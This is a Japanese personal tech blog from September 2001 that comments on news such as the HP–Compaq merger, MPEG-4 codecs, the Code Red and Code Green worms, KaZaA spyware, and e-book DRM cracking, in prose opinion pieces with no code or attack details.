 ネット上でもあれこれと騒ぎは大きかったようだ。主要ニュースサイトはアクセス過多で接続できず,一部のサイトはトップページをテキストベースの軽いページに変えたりもしてたようだ(MYCOM PC WEBの記事)。掲示板や情報を集積しているページも繋がらないところが多く,状況は12日明け方まで続いた。ワールド・トレード・センターのウェブサイトは,物理的な問題なのか今もアクセスできない。イーベイはこの事故絡みのオークション出品を止めるような動き(CNN.co.jpの記事)。当然,現場は電話も携帯も麻痺。メールとIMが使えるところにいた人は幸いだった。メールとIMが命の繋がりを教えてくれる。生きていることを伝え,大切な人の声を聴かせてくれる。ネットワークは,いつもそこにあるんだから,ね。




 
[2001.09.12]
  感覚のないモバイルの国


 ▼ハイテク小道具マニアの最新ファッション事情(WIRED NEWS)
  http://www.hotwired.co.jp/news/news/technology/story/20010910303.html


 つまんないモバイルほど,意味のないものはない。つまんないもん。もっともっとネットワークなモバイルを,そしてもっと打ち解けた,「私」たちの感覚の,モバイルを。

 新学期に合わせて新しい電子機器や,そのような小物を納める衣服などが登場している。エリクソン社はブルートゥースやGPRS接続ができる人目を引くデザインの携帯電話「T68」を出す。モトローラ社の双方向ポケベル兼携帯電話「アカンブリ」も洗練されている。バカ売れしている「サイビコ」の新機種も出る。またパーム用のベルトクリップケースや,パームが納められるレインコート,かかと部分に車輪がついて滑走できる靴「ヒーリーズ」もある。

 楽しいヽ(´ー`)ノ。楽しいなぁ。それにしても注目はやっぱりサイビコか。独自ネットワークを構築して通信費はタダ。メッセージ交換,ネットワークゲーム,ファイル共有ができて,手帳,辞書,関数電卓も備わっているとのことで,興味深い。100メートル以内にいる人を伝って3000人までネットワークを拡大できるなんて想像するだけでも嬉しくなる。こんなツール,狭い日本にあったら学校周辺や会社周辺などで活発に使われるだろうにと思うのだが…。

 電波法との絡みもあるだろうが,現状としてNTTドコモをはじめ携帯電話企業のつまらないネットワークに飽き飽きしながら,その携帯電話企業の下で奴隷のようにつまらない,デザインセンスのかけらのない携帯電話を作っているメーカーの機種で,おもしろいネットワークなど生まれるわけがない。世界でいちばんモバイルが進んでいるような顔をして,もっとも閉塞感いっぱいなドツボに落ちているのは日本だ。そのようなカタチを誘導している行政の不手際もそうだし,まぁドコモを始めとする無能さは云わずもがな。このつまらん状況をちょっとでも改善するため,風穴となりたい企業なら,サイビコを輸入してくれ!




 
[2001.09.11]
  鼓動が聴こえる


 ▼米On2が動画圧縮技術「VP3」をオープンソースで公開(Impress INTERNET Watch)
  http://www.watch.impress.co.jp/internet/www/article/2001/0910/vp3.htm


 頬をあてると,鼓動が聴こえる。躍動感,精彩,発刺。MPEG4コーデックとは,そんなときめきのことだ。

 on2社は,同社の動画圧縮技術「VP3」をオープンソースとしてVP3.comで公開した。on2社は,さらに進んだ動画圧縮技術「VP4」を売り出しており,VP3のオープンソース化で動画圧縮技術をデファクトスタンダードにしていきたい考えだ。

 なっ,なぜ1カ月前のニュースが今(^_^;),という話なんだが,まぁ日本のメディアで取り上げられたのは初めてみたので。いわゆるMPEG4ベースの独自フォーマット争いについて(過去記事)。Open DivX3ivx,on2などがあり,ウインドウズユーザーにはDivX 3.2(Open DivXとは別物)を利用しているユーザーが多い。確かにいちばん始めに現れたのはDivX 3.2だったが,マルチプラットフォームを考えると,今もっとも貧弱で遅れているのはそのDivX 3.2だ。もう捨ててもいいだろう(Open DivX,すなわちDivX 4の今後には期待していいが)。on2 VP3は,ベータ終了で有料化後,あっさりユーザーが激減したため,VP4(2〜3年先を見越したコーデック),そしてその先にあるVP5(今年末には開発をスタートさせるとしている)普及の足がかりとしてVP3をオープンソースとし,知名度とユーザーとのシームレスさを優先させた。実際新しいVP3.2コーデックは,そこそこの出来栄え。素晴らしい。オープンソースとして,より改良が行われるだろう。

 3ivxも格段に素晴らしいマルチプラットフォームを展開し(ウインドウズ,マック,ユニックス/リナックス,ビー,アミガ),現行のデルタ3.5の出来はなかなかだ(私は個人的にいちばん好き)。ユーザーの意見を率直に取り入れ,関連する技術を貪欲に求めている姿勢(MM2Dの開発は特筆ものだ)はとても好感が持てる。つまり,MPEG4の主導権は,リアルもアップルもMSも持ってはいけない。またソレンソンでもないだろう。彼らには今,それを果たすだけのリソースがない。自由に動けること,身近に鼓動が聴こえること。その点で,Open DivX,on2 VP3.2,そして3ivxは今,並んでいる。




 
[2001.09.09]
  I'm So Lonesome Could Cry


 ▼合併で締めくくる波乱万丈のコンパックの歴史(ZDNet News)
  http://japan.cnet.com/News/2001/Item/010905-7.html


 寂しくって飛ぶことさえできないくらい,“ひとり”な夜鷹の声がきこえないか? 夜汽車がむせび泣く声もきこえる。僕の泣きたいくらいの寂しさに合わせて。

 コンパック社の歴史は,ハンク・ウィリアムズの一生のように,激しい人生をたどって有名になり,早すぎる幕切れを迎えた。創業者3人がレストランのテーブルマットに製品デザインを書いてスタートし,1994年には世界最大のパソコンメーカーになった。だがDEC社(ディジタル・イクイップメント社)との買収がスムーズにいかなかったり,デル社のような直販体制をうまくものにできずにもいた。ヒューレット・パッカード社との合併でコンパックの歴史は終わったが,その結末がどうなるかはまだ不確かだ。

 タンデム,そしてDECと食ってステップアップをしてきたコンパック。買収先の2社は,どちらもコンパックより歴史のある古豪メーカーだった。だが,それがスムーズにいったわけではなかった。米国でも社風の違いから時間がかかったし,日本でも,タンデムの買収では,タンデム側の経営陣の方が力を持っており,実際買収もタンデム主導で行われた。なにせ,本社も,社長も,タンデムから受け継がれ,名前だけコンパックが残されただけなのだった(Impress PC Watchの記事)。それがやっとこさひとつのカタチになったと思ったら,今度はDEC買収のニュースが米国から伝えられた。このときも日本DECの売り上げ,社員数は日本コンパックよりはるかに大きいもので,気苦労ばかりの多い合併作業が行われた。大きくはなりつつも,紆余曲折の歴史であったコンパックだった。

 過去記事でタイトルとした「コンパック・ショック」という言葉は,NECのPC-98の独壇場で,富士通やシャープ,アップルなどがはるか下に並んでいた日本のパソコン市場に,極端に低価格なAT互換機で殴り込んできたコンパックをあらわした言葉だった。時を経て,NECの単独支配はあっさりと崩れ去り,非常に健全な群雄割拠の時代となり,そして今,コンパックは売り上げ的には自分より格下のヒューレット・パッカードに食われて終わった。華やかな成長を繰り広げてはきたが,どこか苦痛に満ちた,孤独さと憂いに満ちていた。そんなコンパックの歴史を思い返してみる,今。




 
[2001.09.08]
  虫食う虫の必要性


 ▼ネットを舞台にした赤と緑の対決──Code Red(ZDNet Broadband)
  http://www.zdnet.co.jp/broadband/0109/07/codegreen.html


 虫虫虫。虫食う虫。その虫食う虫また食う虫。

 コード・レッドの被害はいまだ止まず,コード・グリーンという名の,コード・レッド対策パッチをマイクロソフト社のサイトからダウンロードしてあててしまう“対ワーム”ワームがリリースされている。コード・グリーンは,コード・レッドと同じ侵入手段で拡散する。同様の行動をするCRクリーンというものもあり,インターネットはワーム対ワームの戦場となりそうな気配が出てきた。

 1カ月ごとに拡散を行うコード・レッド(過去記事)。最初の爆拡散のときにも,ワームを封じるワームの使用が取り沙汰されていた。3度目の拡散期にあたり,実際にその“対ワーム”ワームであるコード・グリーン(取扱注意)もCRクリーン(取扱注意)も,もう世界中に出てしまった。もちろんコード・レッド(そしてコード・グリーンもCRクリーンも)に感染するサーバーはあまり多く残っていないと思うが,それでも感染できるサーバーを探してワームたちが世界を飛び交う。

 世話焼き虫も虫は虫であって,最終的には誰にも利益をもたらさない。手前の始末は手前でつけるのが,この世でもあの世でも同義。できない者は死んでもらったほうがよいので,基本的に世話を焼くことなど必要ない。もし自分の周りにそんな虫がやってきたらと思うと虫酸が走る思いで,キモイ。なんにしても,かかわり合いになりたくないことですなぁ。




 
[2001.09.07]
  天一天上,吉凶知るべし


 ▼Mac OS X 10.1 Puma update(Mac OS Rumors)【英語】
  http://www.macosrumors.com/


 天一天上,吉凶知るべし。癸巳よりの十六夜の旨,報して秘める。

 マックOS X 10.1(ビルド5G40-45)の新しいレポートが寄せられている。ダーウィン・カーネルはバージョン1.4で,アップル社がより多くのマルチプロセッサマシンのリリースを予定してないため,2つのプロセッサ用に形成されている。全体的な速度は以前のものよりも改善され,ウインドウ・メニュー・ドックはきびきびしている。インターネット・エクスプローラー5.1も_とても_速くなっている。DVDプレイヤー(バージョン3?)もとてもよく動いており,スムーズに再生される。アップルはよい仕事をした! おおむね,日常使うOSとして,9.1に近いスピードを持っており,OS Xへの移行は問題なさそうだ。

 9月にリリースと云っていたOS X 10.1…。あ,あの,もう9月になったんですけど,リリース日をきいてないんですが…,という感じだが,ビルド5G40-45には,まだスリープに関するものやプリントに関するいくつかのバグが残っており,それが解消されてからになる。15日ごろか? とMac OS Rumorsはみている。そういえば,10.0の時もマスターがあがってから数日でリリースという突貫工事だったし,アップルのOSリリースのがむしゃらぶりは普通のことになったのか…(^_^;)。まぁ新しモノ好きとしてはありがたいですけど。

 将来的に考えたら,新しいハードが目をひいても,中身の基礎となるOSがまだ完成途上だとしたら,ちょっと冷めてしまう。特にコンシューマーに対しては,それは致命傷となるもので,基本的にコンシューマーオンリーなアップルは絶対してはいけないことだ。なので,OSの根幹部分の整備は急務と云えて,その上でハードと云う流れは正しい。でもウインドウズXPもそうだが,OSが新しくなったからと云ってハードが売れる時代ではない。アップルにとっては貯金を食いつぶしながらの,我慢の時となるが,この10.1に,明日の吉凶が宿る。




 
[2001.09.05]
  コンパック・ショック!


 ▼米HP、コンパック買収を発表 パソコン世界最大手に(CNN.co.jp)
  http://www.cnn.co.jp/2001/BUSINESS/09/04/hp.compac.merger/


 タンデムを食い,DECを食い,世界トップのパソコンメーカーにもなったコンパックが,ヒューレット・パッカードに食われる。大きな再編の渦の中にいる時代,次に食われるのは,誰だ!?

 ヒューレット・パッカード社は,コンパック社を吸収合併することで合意した。買収額は250億ドル。合併後の総売り上げ高は874億円で世界最王手のIBM社に匹敵する,また,パソコン/サーバー販売では世界で20%のシェアとなり,13%のデル社を大きく引き離してトップとなる。

 ぶったまげた。それ以外に言葉がない。パソコンのブランドとしてコンパックと云うブランドの価値はとてつもなく高く,もちろんユーザーも多い。先日のゲートウェイ・ショック(過去記事)もさめぬままに起きたコンパック・ショックは,大きな影響を与えるだろう。コンパックのパソコンがなくなり,コンパックと云うブランドが消えるのだ。

 世界第3位が世界第2位を食った今回の事件は,やはり大きな暗雲立ち込める悲壮感からのものであって,決して成長志向からの買収ではない。コンパックは前期,2億7900万ドルの赤字になっていたし(CNN.co.jpの記事),ヒューレット・パッカードも今期の業績の下落を指摘していた(ZDIIの記事)。なんにしても,もともとカリスマ的な印象を強く与えていたヒューレット・パッカードのCEOカーリー・フィオリナ女史だが,今回の辣腕ぶりには,舌を巻くなぁ(;´Д`)。すごい。




 
[2001.09.04]
  音楽右往左往


 ▼ツタヤオンライン、無料音楽ダウンロードサービスを開始(Impress INTERNET Watch)
  http://www.watch.impress.co.jp/internet/www/article/2001/0903/tsutaya.htm


 数年前の日本もそうだったし,今の日本にも,エイベックスの赤字など(ZDIIの記事),音楽が売れない状況の予兆がみられる。音楽業界への断罪が,これからはじまるのだ。そう,これから。

 ツタヤオンラインが,無料音楽ダウンロードサービス「フリー ミュージックダウンロード」を開始した。販促活動として,1週間程度,楽曲をフルサイズで視聴することができる。同社の実証実験では,ダウンロードした楽曲商品を購入する人は,通常の2.4倍に達したという。

 認証が面倒だとか,1週間で聴けなくなるからCDを買うわけぢゃないよねとか,ツッコミどころはいっぱいあるけど,まぁそれなりにいいサービスかと思われる。重要なのは,フルサイズのダウンロードで購入が倍以上になるという点。MP3などの音楽ファイルが,商品の価値をさげるという考えを捨てられない音楽業界に対して,売れればいいという販売側のツタヤの方が,多少は前向きに感じられる。まぁ,そのキー認証はそれほど信頼性があるものぢゃないので;-P,条件なしで配付した方が早いと思うけど。

 そういえば,ちょっと前にナップスターが使えなくなったのに,CDの売り上げが伸びないというニュースがあった(ZDNet Newsの記事)。だがその解釈は根本的に間違っているのかもしれない。とことん不景気の中,音楽的な大きなトピックもなく,CDの売り上げなどとことん低下してもおかしくなかった時代に,ナップスターによって,CDの売り上げはとんとんでいられた,という見方が正しい気がする。つまり,ナップスターの休止は,音楽不況のはじまりとなる。だが,そのナップスターを休止に追い込んだのは,音楽業界自らだ。自ら閉塞に閉じこもっていく音楽業界は死んでいい。僕は今日もファイル共有ソフトを立ち上げ続ける。(参考tnx >: LYCHEE SOUNDS -Auxtracker-




 
[2001.09.02]
  ファイル共有ソフトの,ウ・ラ


 ▼Rumor Central:ハイパーリンクでハイジャック(ZDNetエンタープライズ)
  http://www.zdnet.co.jp/enterprise/0108/30/01083088.html


 裏のない物事などない。裏があるから表があって,表を返せば裏になる。ちょっと気を緩めたら見落としてしまう裏に気を付けながら,付き合っていく必要がある,人も,ニュースも,ソフトもね。

 最近登場したピアトゥピア型のソフトが呼び出す「トップテキスト」というツールは,ブラウザ内で動作し,ウェブページ中の文字に関連ページへの広告やリンクをはる。これは例のレッドモンドの会社のスマートタグという技術(過去記事)と一緒だ。このソフトを提供するカザー(KaZaA)は,トップテキストのリンクシステムを運営する会社の息がかかっている。

 ファイル共有ソフトというのは,長い時間バックグラウンドで立ち上げているし,共有されているファイルというのは,人気のバロメーターとも密接に結び付くので,企業のマーケティングには重要だ。そんなファイル共有ソフトのひとつとして,人気も得ているカザーのカザー・デスクトップというソフト,表立っては全然書いていないが,記事のトップテキストを勝手にインストールしているようで,非難されている(たとえばこのサイト)。

 他のファイル共有ソフトも,いわゆるスパイウェアを採用しているところが多く(CNET Japanの記事),なかなか気が抜けない。さすがにトップテキストは駆逐されそうだけど,それらをみていると,やっぱりこの手のソフトが,広告やマーケティングと密接に結び付いている証拠ともとれる。私たちの生活とも大きく関わるソフトなもんで手放せないし,私たちはそこいらの,裏,を垣間見ながら,付き合うソフトを選択していく必要がある。表の便利さだけを知っていてはいけない,わけですな。




 
[2001.09.01]
  商売を変えよう


 ▼Programmer claims to crack MS Reader(ZDNet News)【英語】
  http://www.zdnet.com/zdnn/stories/news/0,4586,2809412,00.html日本語


 _ここ_で,今までと同じ商売をしようと云うほうがムシがよすぎる。商法はひとつぢゃない。ムシのいい解決法など,未来永劫ないんだから,今までの商売を変え,新しい商売が,必要。

 マサチューセッツ工科大学のテクノロジー・レビューのページに,マイクロソフト社の電子ブックソフト「リーダー」の暗号を取り除くソフトがあることが記されている。そのソフトウェアの開発者の名前は伏されており,ソフトを配付する意志はないという。開発者は,リーダーの電子ブックをいくつかのパソコンにコピーするために開発したと云う。

 音楽ファイルのコピープロテクトがどうにも明るい話がみえないなか(過去記事),その音楽の先行きを暗示するように電子ブックの方もぼろぼろと問題が出てきている。MSの電子ブックは_1回だけ_コピーできるという代物で,MSはこの暗号は解かれないとかなり自信を持っていた。アドビの電子ブックのコピープロテクトを解くソフトについて講演したドミトリー・スクリャロフ氏が,デジタルミレニアム著作権法で逮捕され(過去記事),その法律は違憲だろうという声があがっている(Impress INTERNET Watchの記事)。その声はかなり大きいようで,200人近くが参加した集会があったり(ZDNet Newsの記事),海外のサイトの投稿でもかなり強い口調での非難が見受けられる。記事のMSのプロテクト回避も,この開発者が表に出さなくても,方法があることさえわかれば,あとは誰かが同じことをする。時間の問題だ。

 書籍がどこでも読むことができ,どこにでも持ち運べる性質なのに対し,電子ブックはどこまでも利用を限定する方策しか立てていない。今までの本とまったく違う,抑圧に充ち満ちたものに,私たちが慣れるのなら普及するだろうが,そんな日が来るとは思えない。音楽もそうだが,釘でずたずたに打ち付けられ,触るだけで壊れていくようなファイルを売って金儲けをしようというのが,そもそもの間違い。ならどおするかって? モノにお金を払わすのではなく,お金を払う動機にお金を払わすんだよ。どんなにウインWMにファイルがあろうと,CDを買う人はいるし,DVDを買う人もいる。自分にはなんの見返りがなくても面白い思ったサイトのバナーを熱心に押す人もいる。それらの人たちは,モノを買っているんぢゃない。わかるかね,老人たちよ。




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